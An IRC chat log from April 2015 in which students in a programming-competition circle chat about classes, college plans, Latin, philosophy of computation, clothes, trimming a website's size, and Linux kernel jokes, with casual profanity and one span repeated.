[2015-04-05T17:39:10-0400] <+awe> LittleBobbyTables: nah, there's Hyper and Pharyngeal, too.
[2015-04-05T17:39:52-0400] <+awe> Hyper: That's most unfortunate. Next semester, I'll be having W 9:05 am, TuTh 11:30 am, and MWF 12:20 am.
[2015-04-05T17:40:00-0400] <LittleBobbyTables> I have M-Th 9 am class.
[2015-04-05T17:40:05-0400] <LittleBobbyTables> Then two online
[2015-04-05T17:40:11-0400] <Hyper> i'm gonna get later classes next term
[2015-04-05T17:40:13-0400] <Hyper> heh
[2015-04-05T17:40:15-0400] <Hyper> hopefully
[2015-04-05T17:40:36-0400] <+awe> Erm, MF 12:20 pm*
[2015-04-05T17:40:36-0400] <+awe> lol
[2015-04-05T17:40:44-0400] <+awe> That last one was very wrong both in the am and the including W.
[2015-04-05T17:40:59-0400] <LittleBobbyTables> 12:20 am
[2015-04-05T17:41:03-0400] <LittleBobbyTables> I would feel terrible
[2015-04-05T17:42:38-0400] <JacobEdelman> now this conversation
[2015-04-05T17:42:44-0400] <JacobEdelman> is the kinda thing that belongs in #Uni
[2015-04-05T17:42:47-0400] <JacobEdelman> :P
[2015-04-05T17:42:54-0400] <+awe> Unless our goal is to brag to you. :p
[2015-04-05T17:42:59-0400] <JacobEdelman> :P
[2015-04-05T17:43:09-0400] <Hyper> or to warn you about poor decisions to avoid 
[2015-04-05T17:43:21-0400] <JacobEdelman> poor decision number 1: going to college
[2015-04-05T17:43:30-0400] <assface> hue
[2015-04-05T17:43:46-0400] <+awe> I nearly had 8 am next semester. Operating Systems is at 8:30.
[2015-04-05T17:44:04-0400] <JacobEdelman> Oh, I was gonna take operating systems at princeton next year!
[2015-04-05T17:44:11-0400] <JacobEdelman> but it conflicted with my other princeton class
[2015-04-05T17:44:15-0400] <assface> you dropped a name there
[2015-04-05T17:44:19-0400] <assface> let me pick it up for you
[2015-04-05T17:44:23-0400] <JacobEdelman> so instead I'm taking functional programing
[2015-04-05T17:44:31-0400] <JacobEdelman> arseface: i'm still gonna be in hs :P
[2015-04-05T17:44:35-0400] <+awe> assface: ayyy
[2015-04-05T17:44:43-0400] <JacobEdelman> I just live close enough I'm allowed to take courses there
[2015-04-05T17:44:49-0400] <+awe> I'm trying to imagine you in a low-level course. It sounds like it'd be funny.
[2015-04-05T17:45:00-0400] <JacobEdelman> arseface: the last time people called me otu for dropping names it was because of LBT's name
[2015-04-05T17:45:09-0400] <JacobEdelman> awe: you can stop imagining that
[2015-04-05T17:45:13-0400] <JacobEdelman> I'm skipping many courses
[2015-04-05T17:45:21-0400] <JacobEdelman> I'm taking 432 information security
[2015-04-05T17:45:26-0400] <JacobEdelman> and some 300 functional programming
[2015-04-05T17:45:55-0400] <JacobEdelman> :)
[2015-04-05T17:46:10-0400] <assface> I wish I didn't have the stupid a-g's
[2015-04-05T17:46:13-0400] • JacobEdelman: has way too big of an ego
[2015-04-05T17:46:20-0400] <JacobEdelman> arseface:?
[2015-04-05T17:46:36-0400] <+awe> It's hilarious because you can take all these courses, and then you're going to go to uni and you're going to have to take a 100 level.
[2015-04-05T17:46:40-0400] <+awe> And a bunch of boring 200 levels.
[2015-04-05T17:46:53-0400] <+awe> And then afterward, you'll have to retake those classes you're taking now.
[2015-04-05T17:47:12-0400] <assface> requirements to graduate include 4 years of english, 3 years of language, 2 years of history, and like a billion electives
[2015-04-05T17:47:38-0400] <assface> I'm going to have 4 classes on-campus senior year because of them
[2015-04-05T17:47:52-0400] <assface> when I'd rather be taking shite at city college
[2015-04-05T17:48:08-0400] <JacobEdelman> awe: not if I manage to get into princeton
[2015-04-05T17:48:09-0400] <JacobEdelman> somehow
[2015-04-05T17:48:16-0400] <+awe> Realistically, you won't.
[2015-04-05T17:48:19-0400] <JacobEdelman> maybe if I give them candy?
[2015-04-05T17:48:22-0400] <JacobEdelman> lots of candy?
[2015-04-05T17:48:28-0400] <JacobEdelman> my grades arn't that bad...
[2015-04-05T17:48:41-0400] <+awe> But you're not going to graduate in the top twenty like your brother.
[2015-04-05T17:48:43-0400] <JacobEdelman> what type of candy do admissions officers prefer?
[2015-04-05T17:48:50-0400] <JacobEdelman> awe: yeah... ben was scary
[2015-04-05T17:48:53-0400] <JacobEdelman> but I do have hsctf
[2015-04-05T17:48:56-0400] <JacobEdelman> which is good
[2015-04-05T17:48:58-0400] <+awe> The kind that's a $30,000 check.
[2015-04-05T17:49:00-0400] <JacobEdelman> and lots of policy stuff
[2015-04-05T17:49:11-0400] <+awe> And I doubt HSCTF will do you that much good.
[2015-04-05T17:49:19-0400] <JacobEdelman> if I can get some princeton prof to reccomend me
[2015-04-05T17:49:21-0400] <assface> i know this kid whose goal is to graduate with a 4.9 GPA
[2015-04-05T17:49:33-0400] <JacobEdelman> awe: which is hard, but not impossible
[2015-04-05T17:49:53-0400] <JacobEdelman> awe: depends how my princeton classes go and such
[2015-04-05T17:50:15-0400] <+awe> Even if they go well and you do go to Princeton, you realize you'll have to still take a ton of courses right?
[2015-04-05T17:50:30-0400] <+awe> The school will require you to take some number of credits to graduate.
[2015-04-05T17:50:48-0400] <JacobEdelman> I know
[2015-04-05T17:50:50-0400] <JacobEdelman> but I will learn
[2015-04-05T17:50:54-0400] <JacobEdelman> and take advanced courses
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[2015-04-05T17:51:20-0400] <+awe> me shrugs.
[2015-04-05T17:51:22-0400] • awe: shrugs.
[2015-04-05T17:51:26-0400] <+awe> That's what I meant to do.
[2015-04-05T17:51:33-0400] <+awe> We'll see, I guess.
[2015-04-05T17:51:35-0400] <JacobEdelman> well, all I know
[2015-04-05T17:51:52-0400] <JacobEdelman> is that college is either gonna be insansely, mind numbingly hard for me (if I get to skip)
[2015-04-05T17:51:58-0400] <JacobEdelman> or insansely, mind numbingly easy
[2015-04-05T17:52:08-0400] <assface> lol
[2015-04-05T17:52:17-0400] <JacobEdelman> so either way
[2015-04-05T17:52:24-0400] <assface> my plan is to use my AP English credits and hopefully never have to take another English class
[2015-04-05T17:52:28-0400] <JacobEdelman> I won't make it out alive
[2015-04-05T17:52:43-0400] <JacobEdelman> arseface: I wish I could do that for world language
[2015-04-05T17:52:54-0400] <assface> >not enjoying learning languages
[2015-04-05T17:53:12-0400] <JacobEdelman> but a lot of good colleges require you to take them
[2015-04-05T17:53:14-0400] <assface> I pity you
[2015-04-05T17:53:22-0400] <JacobEdelman> I mean, I know how much awe loves them
[2015-04-05T17:53:34-0400] • JacobEdelman: is being sarcastic
[2015-04-05T17:53:43-0400] <assface> I'll probably go for ancient gr3eek, since I've almost completely forgotten latin
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[2015-04-05T17:53:47-0400] <JacobEdelman> wait
[2015-04-05T17:53:51-0400] <JacobEdelman> you're taking latin too?
[2015-04-05T17:53:53-0400] <+awe> I don't hate world language. I just did poorly in Latin.
[2015-04-05T17:53:56-0400] <assface> took
[2015-04-05T17:53:56-0400] <JacobEdelman> *have taken
[2015-04-05T17:54:02-0400] <JacobEdelman> we ahve so many latin people here
[2015-04-05T17:54:05-0400] <+awe> Mostly because I didn't feel like doing any work in high school.
[2015-04-05T17:54:11-0400] <JacobEdelman> none of which like it
[2015-04-05T17:54:16-0400] <assface> I would have taken german if my school still had it
[2015-04-05T17:54:22-0400] <assface> I loved latin
[2015-04-05T17:54:27-0400] <JacobEdelman> wat
[2015-04-05T17:54:29-0400] <JacobEdelman> you cheater
[2015-04-05T17:54:33-0400] <JacobEdelman> with your good latin teacher
[2015-04-05T17:54:38-0400] <assface> hue
[2015-04-05T17:54:38-0400] <JacobEdelman> my school is making me take latin online now
[2015-04-05T17:54:40-0400] <JacobEdelman> soo dumb
[2015-04-05T17:54:44-0400] <JacobEdelman> AHHHHHHHH
[2015-04-05T17:54:50-0400] • JacobEdelman: must get back to work,
[2015-04-05T17:54:55-0400] • JacobEdelman: is behind in online latin
[2015-04-05T17:54:56-0400] <assface> I got him in the last year before he retired :}
[2015-04-05T17:54:59-0400] <JacobEdelman> by about two months
[2015-04-05T17:55:27-0400] <+awe> Or teacher retired too, but he was total buns.
[2015-04-05T17:55:49-0400] <assface> I also took it in Junior High so I only had to do 1 year in HS
[2015-04-05T17:56:39-0400] <+awe> I took it for a year, and then I took French for two years.
[2015-04-05T17:56:45-0400] <+awe> I also took French in middle school.
[2015-04-05T17:57:06-0400] <+awe> I'm currently trying to learn Spanish in my free time.
[2015-04-05T17:57:43-0400] <assface> I know a guy who took latin for 2 years in Junior High, 1 year in high school, then did French and AP Latin, and is now doing IB latin
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[2015-04-05T17:57:50-0400] <JacobEdelman> ben's learning klingon
[2015-04-05T17:57:55-0400] <JacobEdelman> at our seder for passover
[2015-04-05T17:57:59-0400] <JacobEdelman> he read the 4 questions
[2015-04-05T17:58:03-0400] <JacobEdelman> in klingon and esperanto
[2015-04-05T17:58:12-0400] <JacobEdelman> awe: Hyper: ^
[2015-04-05T17:58:16-0400] <+awe> Very nice.
[2015-04-05T17:58:31-0400] <JacobEdelman> it was awe-some
[2015-04-05T17:58:32-0400] <assface> any of you goys read Catullus's poems?
[2015-04-05T17:58:35-0400] <assface> they're hilarious
[2015-04-05T17:59:01-0400] <JacobEdelman> I don't think so
[2015-04-05T17:59:11-0400] <+awe> assface: Also, based on a number of metrics, I qualified to only ever having to take a single writing course in Uni.
[2015-04-05T17:59:26-0400] <+awe> assface: and that writing course is departmental. So, mine is about ethics in computing.
[2015-04-05T17:59:34-0400] <assface> ur my inspiration
[2015-04-05T18:00:02-0400] <+awe> 5 on AP Language and Composition got me out of it. If I hadn't taken it, my combined 1,500 reading/writing on the SATs would.
[2015-04-05T18:00:38-0400] <+awe> It was the funniest thing because in our orientation meeting over the summer, the advisor said that they'd never seen anyone credit out of it by doing that well on the SATs and I was just like "uhh..."
[2015-04-05T18:00:47-0400] <JacobEdelman> .... wow
[2015-04-05T18:00:58-0400] <JacobEdelman> awe: you really underacheived in hs
[2015-04-05T18:01:04-0400] <JacobEdelman> just saying
[2015-04-05T18:01:10-0400] <assface> meh
[2015-04-05T18:01:10-0400] <+awe> Yeah.
[2015-04-05T18:01:12-0400] <assface> I am too
[2015-04-05T18:01:15-0400] <+awe> Did you not realize that I'm actually extremely smart, JacobEdelman?
[2015-04-05T18:01:19-0400] <JacobEdelman> I did
[2015-04-05T18:01:26-0400] <assface> hs ain't the time to achieve IMO
[2015-04-05T18:01:50-0400] <JacobEdelman> its the lack of exteremely smartness expected at umass that you talk about that surprises me
[2015-04-05T18:02:09-0400] <+awe> I mean, there are people here who had high SAT scores like I did.
[2015-04-05T18:02:18-0400] <JacobEdelman> yeah, but I doubt there are many
[2015-04-05T18:02:19-0400] <+awe> They're just not some random guy who volunteered to to summer orientation.
[2015-04-05T18:02:24-0400] <+awe> There are tons.
[2015-04-05T18:02:27-0400] <JacobEdelman> oooh
[2015-04-05T18:02:27-0400] <JacobEdelman> okay
[2015-04-05T18:02:39-0400] <JacobEdelman> are there any people there who are better at cs?
[2015-04-05T18:02:41-0400] <+awe> They're all in the Computer Science and Engineering departments.
[2015-04-05T18:02:47-0400] <JacobEdelman> wait, really?
[2015-04-05T18:02:49-0400] <assface> shit I need to sign up for the SATs
[2015-04-05T18:02:54-0400] <JacobEdelman> yes, you do
[2015-04-05T18:03:05-0400] <jwoglom> i think you can still sign up for the may one?
[2015-04-05T18:03:06-0400] <+awe> We're a top-tier CS school, JacobEdelman.
[2015-04-05T18:03:12-0400] <JacobEdelman> awe: and you're uber smart
[2015-04-05T18:03:28-0400] <JacobEdelman> awe: I know cause I smart guy told me
[2015-04-05T18:03:38-0400] <JacobEdelman> awe: " I'm actually extremely smart"
[2015-04-05T18:03:50-0400] <+awe> I haven't met anyone who's better at CS than me though.
[2015-04-05T18:03:56-0400] <JacobEdelman> ha, thought so
[2015-04-05T18:03:58-0400] <+awe> I'd imagine some of the grad students are.
[2015-04-05T18:04:02-0400] <JacobEdelman> true
[2015-04-05T18:04:04-0400] <+awe> But the ones that have TA'd my classes are jokes.
[2015-04-05T18:04:06-0400] <JacobEdelman> but they don't count
[2015-04-05T18:04:10-0400] <JacobEdelman> lol
[2015-04-05T18:04:19-0400] <+awe> But that being said, why would the good grad students TA the 100 and 200 level courses.
[2015-04-05T18:04:29-0400] <JacobEdelman> I love how as people go through life, they slowly loose respect for people further along then them
[2015-04-05T18:04:40-0400] <JacobEdelman> I no longer respect cs majors in general
[2015-04-05T18:04:43-0400] <+awe> Masters students are jokes, man.
[2015-04-05T18:04:50-0400] <+awe> They're just as bad as undergrads.
[2015-04-05T18:04:56-0400] <+awe> Only the PhD students are smart.
[2015-04-05T18:05:08-0400] <JacobEdelman> give it a few years
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[2015-04-05T18:05:13-0400] <+awe> My probability TA Katerina is really smart.
[2015-04-05T18:05:14-0400] <JacobEdelman> and you'll be disabused of that notion
[2015-04-05T18:05:20-0400] <JacobEdelman> hmmm
[2015-04-05T18:05:23-0400] <JacobEdelman> give it time
[2015-04-05T18:05:31-0400] <assface> I want to go into game theory
[2015-04-05T18:05:37-0400] <assface> then I can feel superior to all the CS plebs
[2015-04-05T18:05:39-0400] <+awe> Well, I'm sure once I'm actually doing my PhD, I'll meet people doing them that are awful.
[2015-04-05T18:05:42-0400] <JacobEdelman> lol, no
[2015-04-05T18:05:44-0400] <JacobEdelman> theoretical cs
[2015-04-05T18:05:49-0400] <JacobEdelman> the more theoreticl the better
[2015-04-05T18:05:51-0400] <+awe> PLT or bust.
[2015-04-05T18:05:53-0400] <assface> same difference
[2015-04-05T18:05:59-0400] <JacobEdelman> the most pure study
[2015-04-05T18:06:05-0400] <JacobEdelman> it that of thought and computation
[2015-04-05T18:06:15-0400] <+awe> So, math?
[2015-04-05T18:06:17-0400] <assface> sounds vague
[2015-04-05T18:06:18-0400] <JacobEdelman> my favorite area is the line between math/cs/philosophy
[2015-04-05T18:06:28-0400] <assface> cut out the philosophy and I'm in
[2015-04-05T18:06:31-0400] <+awe> Do you know if Ernest is planning on doing a PhD in math?
[2015-04-05T18:06:33-0400] <JacobEdelman> stuff mentioned in this paper: http://www.scottaaronson.com/papers/philos.pdf
[2015-04-05T18:06:39-0400] <JacobEdelman> awe: I assume he is
[2015-04-05T18:06:43-0400] <JacobEdelman> is he isn't I'll find him
[2015-04-05T18:06:46-0400] <+awe> I would assume so, too, but I never asked him.
[2015-04-05T18:08:14-0400] <+awe> And I think assuming that is a bit naive because being good at something doesn't mean you want to be an academic. 
[2015-04-05T18:08:40-0400] <JacobEdelman> he's an hsctfer
[2015-04-05T18:08:46-0400] <JacobEdelman> academia is his fate
[2015-04-05T18:08:50-0400] <JacobEdelman> whether he embraces it or not
[2015-04-05T18:10:04-0400] <JacobEdelman> guys
[2015-04-05T18:10:09-0400] <JacobEdelman> wake up
[2015-04-05T18:10:13-0400] <assface> no
[2015-04-05T18:10:18-0400] <JacobEdelman> "ll emeralds are grue before January 1, 2030, and then bleen
[2015-04-05T18:10:18-0400] <JacobEdelman> afterwards." is way to complicated
[2015-04-05T18:10:29-0400] <JacobEdelman> emeralds are grue, its that simple
[2015-04-05T18:10:41-0400] <assface> ehh?
[2015-04-05T18:11:25-0400] <JacobEdelman> http://www.scottaaronson.com/papers/philos.pdf
[2015-04-05T18:11:36-0400] <JacobEdelman> endof page 29
[2015-04-05T18:11:39-0400] <JacobEdelman> and page 30
[2015-04-05T18:12:03-0400] <JacobEdelman> there is more mathematical/cs context before that too
[2015-04-05T18:12:23-0400] <assface> >philosophy
[2015-04-05T18:12:24-0400] <assface> pls no
[2015-04-05T18:13:13-0400] <JacobEdelman> no
[2015-04-05T18:13:15-0400] <JacobEdelman> its math
[2015-04-05T18:13:16-0400] <JacobEdelman> and cs
[2015-04-05T18:13:18-0400] <+awe> assface: You realize philosophy is the source of formal logic, right?
[2015-04-05T18:13:31-0400] <JacobEdelman> its a paper on how complexity theory can be applied to philsophy
[2015-04-05T18:13:33-0400] <assface> yes
[2015-04-05T18:13:36-0400] <assface> I still don't like it
[2015-04-05T18:13:39-0400] <JacobEdelman> awe: welll... first philosphy was messed up
[2015-04-05T18:13:53-0400] <JacobEdelman> than formal logic was made by some math people who also knew some philosphy
[2015-04-05T18:14:06-0400] <JacobEdelman> then philosophy did not end and still did not become a sub field of math
[2015-04-05T18:14:09-0400] <+awe> Early philosophy was basically math.
[2015-04-05T18:14:13-0400] <JacobEdelman> eh, I guess
[2015-04-05T18:14:21-0400] <JacobEdelman> lots of it lacked ocncretness
[2015-04-05T18:14:23-0400] <JacobEdelman> *concretness
[2015-04-05T18:14:26-0400] <+awe> Yeah, definitely.
[2015-04-05T18:14:29-0400] <+awe> We didn't have good measuring tools.
[2015-04-05T18:14:44-0400] <assface> I still don't like philosophy
[2015-04-05T18:15:01-0400] <+awe> Fair enough.
[2015-04-05T18:16:11-0400] <+awe> My collection of white undershirts has reached critical mass.
[2015-04-05T18:16:20-0400] <+awe> I think I have enough for like three weeks or so without doing laundry.
[2015-04-05T18:16:34-0400] <assface> I don't have 2 identical shirts
[2015-04-05T18:16:55-0400] <+awe> They're undershirts.
[2015-04-05T18:17:01-0400] <+awe> I wear them under my button downs.
[2015-04-05T18:17:05-0400] <assface> i dont wear underdhirts either
[2015-04-05T18:17:09-0400] <assface> tshirts all the way
[2015-04-05T18:17:21-0400] <assface> tshirts + cargo shorts = best combination
[2015-04-05T18:18:45-0400] <+awe> I dress significantly nicer than is commonplace amongst computer scientists.
[2015-04-05T18:18:56-0400] <assface> weirdie
[2015-04-05T18:23:59-0400] <JacobEdelman> I dress
[2015-04-05T18:24:04-0400] <JacobEdelman> that more or less all you can say
[2015-04-05T18:24:07-0400] <JacobEdelman> I wear clothes
[2015-04-05T18:24:11-0400] <JacobEdelman> because society forces me too
[2015-04-05T18:24:16-0400] <JacobEdelman> but that is all
[2015-04-05T18:24:23-0400] <assface> a muumuu?
[2015-04-05T18:24:37-0400] <+awe> JacobEdelman exclusively wears free t-shirts that he got from competitions.
[2015-04-05T18:24:43-0400] <assface> lol
[2015-04-05T18:24:57-0400] <JacobEdelman> awe: nah
[2015-04-05T18:25:04-0400] <JacobEdelman> I bought several of my tshirts
[2015-04-05T18:25:25-0400] <JacobEdelman> xkcd ones, doctor who... doctor who and muppets mashup... doctor who and peanuts mashup
[2015-04-05T18:25:29-0400] <+awe> apothy has a similar sense of style.
[2015-04-05T18:25:44-0400] <JacobEdelman> apothy and I frequentely wear the same clothes
[2015-04-05T18:25:59-0400] <JacobEdelman> which is awkward because he's several size larger
[2015-04-05T18:26:01-0400] <JacobEdelman> :P
[2015-04-05T18:26:19-0400] <assface> I have a few of my dad's old Maripro shirts
[2015-04-05T18:47:44-0400] <LittleBobbyTables> I just put on any pants and underwear, and any shirt that isn't super wrinkled
[2015-04-05T18:48:10-0400] <JacobEdelman> wow
[2015-04-05T18:48:11-0400] <JacobEdelman> pants
[2015-04-05T18:49:06-0400] <fwilson> pants
[2015-04-05T18:49:11-0400] <fwilson> meta-j63 /buffer 63
[2015-04-05T18:49:15-0400] <fwilson> i mean
[2015-04-05T18:49:17-0400] <fwilson> hi
[2015-04-05T18:49:53-0400] <JacobEdelman> lol
[2015-04-05T19:06:15-0400] <JacobEdelman> awebot just messaged me for the 7th time
[2015-04-05T19:09:01-0400] <+awe> Maybe I should turn it off, or lower the proc rate.
[2015-04-05T19:23:22-0400] <LittleBobbyTables> I've only ever gotten one message from it.
[2015-04-05T19:30:49-0400] <+awe> It's 1 in 1000 or 10000, I forget.
[2015-04-05T19:30:51-0400] <+awe> But JacobEdelman spams a lot.
[2015-04-05T19:54:47-0400] <LittleBobbyTables> I do too
[2015-04-05T19:54:53-0400] <LittleBobbyTables> Not as often, but still
[2015-04-05T19:57:34-0400] <z3t> yooo
[2015-04-05T20:02:47-0400] <JacobEdelman> I don't spam
[2015-04-05T20:02:52-0400] <JacobEdelman> I just am ... special
[2015-04-05T20:02:53-0400] <JacobEdelman> :P
[2015-04-05T20:04:40-0400] <z3t> last day of sptring break tomorrow :(
[2015-04-05T20:05:36-0400] <assface> *today
[2015-04-05T20:10:24-0400] <LittleBobbyTables> ^
[2015-04-05T20:12:18-0400] <z3t> we have tomorrow off
[2015-04-05T20:16:03-0400] <LittleBobbyTables> Ha, gaaaaaay
[2015-04-05T20:52:45-0400] <z3t> http://motherfuckingwebsite.com/
[2015-04-05T20:55:19-0400] <+awe> "Shit's legible and gets your fucking point across (if you had one instead of just 5mb pics of hipsters drinking coffee)"
[2015-04-05T20:55:22-0400] <+awe> +1
[2015-04-05T20:56:41-0400] <LittleBobbyTables> http://bettermotherfuckingwebsite.com/
[2015-04-05T20:57:47-0400] <LittleBobbyTables> "You're a fucking moron if you use default browser styles."
[2015-04-05T20:57:47-0400] <LittleBobbyTables> - Eleanor Roosevelt
[2015-04-05T20:57:53-0400] <z3t> lol
[2015-04-05T21:02:08-0400] <LittleBobbyTables> http://i.imgur.com/gEeftgn.png
[2015-04-05T21:02:14-0400] <LittleBobbyTables> >picks hero's I'm good at
[2015-04-05T21:02:16-0400] <LittleBobbyTables> >win games
[2015-04-05T21:02:28-0400] <LittleBobbyTables> >picks "op" hero I've never played before because I knew we were going to lose anyway
[2015-04-05T21:02:33-0400] <LittleBobbyTables> >loses game for being a dirty sniper picker
[2015-04-05T21:02:36-0400] <LittleBobbyTables> >fuck dota
[2015-04-05T21:03:06-0400] <z3t> wow
[2015-04-05T21:03:08-0400] <z3t> you suck
[2015-04-05T21:03:26-0400] <fwilson> ayyyy :(
[2015-04-05T21:03:38-0400] <LittleBobbyTables> lol
[2015-04-05T21:11:20-0400] <+awe> Argh, if I could do the GitHub logo on my site without FontAwesome, I could cut down the size of my site by 56% (93.92 KB).
[2015-04-05T21:12:56-0400] <LittleBobbyTables> Just uninstall FontAwesome
[2015-04-05T21:14:03-0400] <+awe> Well, sure. Is there an octocat silhouette svg I can find somewhere?
[2015-04-05T21:17:02-0400] <LittleBobbyTables> The internet?
[2015-04-05T21:18:04-0400] <+awe> Ah, I found it on their site.
[2015-04-05T21:18:26-0400] <jwoglom> i think there's some way to generate a FA install with custom sets of icons?
[2015-04-05T21:19:43-0400] <+awe> I don't see it on their site.
[2015-04-05T21:21:35-0400] <jwoglom> http://fontello.com/ maybe?
[2015-04-05T21:21:46-0400] <jwoglom> https://github.com/FortAwesome/Font-Awesome/wiki/Customize-Font-Awesome#the-easy-way
[2015-04-05T21:27:05-0400] <+awe> I think it's better to just directly embed the svg?
[2015-04-05T21:27:50-0400] <jwoglom> yeah if it's just for one icon
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[2015-04-05T18:48:11-0400] <JacobEdelman> pants
[2015-04-05T18:49:06-0400] <fwilson> pants
[2015-04-05T18:49:11-0400] <fwilson> meta-j63 /buffer 63
[2015-04-05T18:49:15-0400] <fwilson> i mean
[2015-04-05T18:49:17-0400] <fwilson> hi
[2015-04-05T18:49:53-0400] <JacobEdelman> lol
[2015-04-05T19:06:15-0400] <JacobEdelman> awebot just messaged me for the 7th time
[2015-04-05T19:09:01-0400] <+awe> Maybe I should turn it off, or lower the proc rate.
[2015-04-05T19:23:22-0400] <LittleBobbyTables> I've only ever gotten one message from it.
[2015-04-05T19:30:49-0400] <+awe> It's 1 in 1000 or 10000, I forget.
[2015-04-05T19:30:51-0400] <+awe> But JacobEdelman spams a lot.
[2015-04-05T19:54:47-0400] <LittleBobbyTables> I do too
[2015-04-05T19:54:53-0400] <LittleBobbyTables> Not as often, but still
[2015-04-05T19:57:34-0400] <z3t> yooo
[2015-04-05T20:02:47-0400] <JacobEdelman> I don't spam
[2015-04-05T20:02:52-0400] <JacobEdelman> I just am ... special
[2015-04-05T20:02:53-0400] <JacobEdelman> :P
[2015-04-05T20:04:40-0400] <z3t> last day of sptring break tomorrow :(
[2015-04-05T20:05:36-0400] <assface> *today
[2015-04-05T20:10:24-0400] <LittleBobbyTables> ^
[2015-04-05T20:12:18-0400] <z3t> we have tomorrow off
[2015-04-05T20:16:03-0400] <LittleBobbyTables> Ha, gaaaaaay
[2015-04-05T20:52:45-0400] <z3t> http://motherfuckingwebsite.com/
[2015-04-05T20:55:19-0400] <+awe> "Shit's legible and gets your fucking point across (if you had one instead of just 5mb pics of hipsters drinking coffee)"
[2015-04-05T20:55:24-0400] <+awe> +1
[2015-04-05T20:56:41-0400] <LittleBobbyTables> http://bettermotherfuckingwebsite.com/
[2015-04-05T20:57:47-0400] <LittleBobbyTables> "You're a fucking moron if you use default browser styles."
[2015-04-05T20:57:47-0400] <LittleBobbyTables> - Eleanor Roosevelt
[2015-04-05T20:57:53-0400] <z3t> lol
[2015-04-05T21:02:08-0400] <LittleBobbyTables> http://i.imgur.com/gEeftgn.png
[2015-04-05T21:02:14-0400] <LittleBobbyTables> >picks hero's I'm good at
[2015-04-05T21:02:16-0400] <LittleBobbyTables> >win games
[2015-04-05T21:02:28-0400] <LittleBobbyTables> >picks "op" hero I've never played before because I knew we were going to lose anyway
[2015-04-05T21:02:33-0400] <LittleBobbyTables> >loses game for being a dirty sniper picker
[2015-04-05T21:02:36-0400] <LittleBobbyTables> >fuck dota
[2015-04-05T21:03:06-0400] <z3t> wow
[2015-04-05T21:03:08-0400] <z3t> you suck
[2015-04-05T21:03:26-0400] <fwilson> ayyyy :(
[2015-04-05T21:03:38-0400] <LittleBobbyTables> lol
[2015-04-05T21:11:20-0400] <+awe> Argh, if I could do the GitHub logo on my site without FontAwesome, I could cut down the size of my site by 56% (93.92 KB).
[2015-04-05T21:12:56-0400] <LittleBobbyTables> Just uninstall FontAwesome
[2015-04-05T21:14:03-0400] <+awe> Well, sure. Is there an octocat silhouette svg I can find somewhere?
[2015-04-05T21:17:02-0400] <LittleBobbyTables> The internet?
[2015-04-05T21:18:04-0400] <+awe> Ah, I found it on their site.
[2015-04-05T21:18:26-0400] <jwoglom> i think there's some way to generate a FA install with custom sets of icons?
[2015-04-05T21:19:43-0400] <+awe> I don't see it on their site.
[2015-04-05T21:21:35-0400] <jwoglom> http://fontello.com/ maybe?
[2015-04-05T21:21:46-0400] <jwoglom> https://github.com/FortAwesome/Font-Awesome/wiki/Customize-Font-Awesome#the-easy-way
[2015-04-05T21:27:05-0400] <+awe> I think it's better to just directly embed the svg?
[2015-04-05T21:27:50-0400] <jwoglom> yeah if it's just for one icon
[2015-04-05T21:34:28-0400] Mode is +nt
[2015-04-05T21:58:04-0400] <+awe> jwoglom: It was actually way easier to use fontello.
[2015-04-05T21:58:13-0400] <+awe> jwoglom: Site is now 76.1 KB.
[2015-04-05T21:58:15-0400] <jwoglom> awe: oh really. cool
[2015-04-05T21:58:21-0400] <+awe> Thanks for the help. :)
[2015-04-05T21:58:26-0400] <jwoglom> i just googled it :P
[2015-04-05T21:58:35-0400] <jwoglom> i'd heard that there were options before, haven't used them though
[2015-04-05T22:00:22-0400] <Pharyngeal> I love my paper shredder
[2015-04-05T22:00:48-0400] <+awe> Okay, next goal would be to figure out if I can somehow shrink Bootstrap more.
[2015-04-05T22:01:13-0400] <+awe> I only use two Bootstrap glyphicons. If I could move that to fontello, I could cut another 20 k
[2015-04-05T22:01:16-0400] <+awe> 20kb*
[2015-04-05T22:01:22-0400] <+awe> Bootstrap is currently 81% of my site.
[2015-04-05T22:10:42-0400] <LittleBobbyTables> YW for the help, awe
[2015-04-05T22:10:59-0400] <+awe> Not you.
[2015-04-05T22:11:07-0400] <LittleBobbyTables> :(
[2015-04-05T22:13:15-0400] <LittleBobbyTables> How big was it before
[2015-04-05T22:14:17-0400] <+awe> Well, 56.7% was 93.92 KB.
[2015-04-05T22:15:14-0400] <+awe> It's now 41.26 KB
[2015-04-05T22:15:39-0400] <jwoglom> isn't this optimization kind of pointless? :P
[2015-04-05T22:19:50-0400] <+awe> How is it pointless? My site is now 400% smaller.
[2015-04-05T22:26:15-0400] <JacobEdelman> so
[2015-04-05T22:26:16-0400] <JacobEdelman> https://gist.github.com/JacobEdelman/575b509563db716bc1ae
[2015-04-05T22:26:26-0400] <JacobEdelman> these are jokes from the linux kernel
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[2015-04-05T22:26:38-0400] <JacobEdelman> you guys want to look at them and tell me which ones you find funny?
[2015-04-05T22:26:58-0400] <+awe> !ieee->bNetPromiscuousMode
[2015-04-05T22:27:05-0400] <+awe> Promiscuous mode, eh?
[2015-04-05T22:27:40-0400] <bob_twinkles> $LENNY
[2015-04-05T22:28:05-0400] <JacobEdelman> awe: I don't even think thats a joke :P
[2015-04-05T22:28:08-0400] <JacobEdelman> bob_twinkles: ?
[2015-04-05T22:28:24-0400] <bob_twinkles> http://alexdantas.net/lenny/
[2015-04-05T22:28:42-0400] <bob_twinkles> copy/paste is hard though
[2015-04-05T22:28:57-0400] <JacobEdelman> ha
[2015-04-05T22:29:07-0400] <JacobEdelman> awe: specificaly, I want to know which ones lack the funny
[2015-04-05T22:29:17-0400] <JacobEdelman> awe: I want to embed them in a post for pdgn's blog
[2015-04-05T22:30:57-0400] <+awe> JacobEdelman: /shrug
[2015-04-05T22:31:01-0400] <+awe> JacobEdelman: none of them really seem funny
[2015-04-05T22:32:11-0400] <bob_twinkles> pretty sure someone just grepped for "haha" and "funny" and suchlike
[2015-04-05T22:32:20-0400] <+awe> Yeah, looks like it.
[2015-04-05T22:33:37-0400] <JacobEdelman> ummmm
[2015-04-05T22:33:40-0400] <JacobEdelman> ummmmm
[2015-04-05T22:33:41-0400] <JacobEdelman> ummmmmmm
[2015-04-05T22:33:43-0400] <JacobEdelman> maybe
[2015-04-05T22:34:28-0400] <JacobEdelman> I find https://github.com/torvalds/linux/blob/4f671fe2f9523a1ea206f63fe60a7c7b3a56d5c7/arch/mips/mm/tlbex.c#L14-21 interesting
[2015-04-05T22:51:30-0400] <assface> oh gawd
[2015-04-05T22:51:46-0400] <assface> those function names are so obfuscated they make my ears bleed
[2015-04-05T22:51:50-0400] <JacobEdelman> arseface: speaking
[2015-04-05T22:52:07-0400] <assface> you rang?
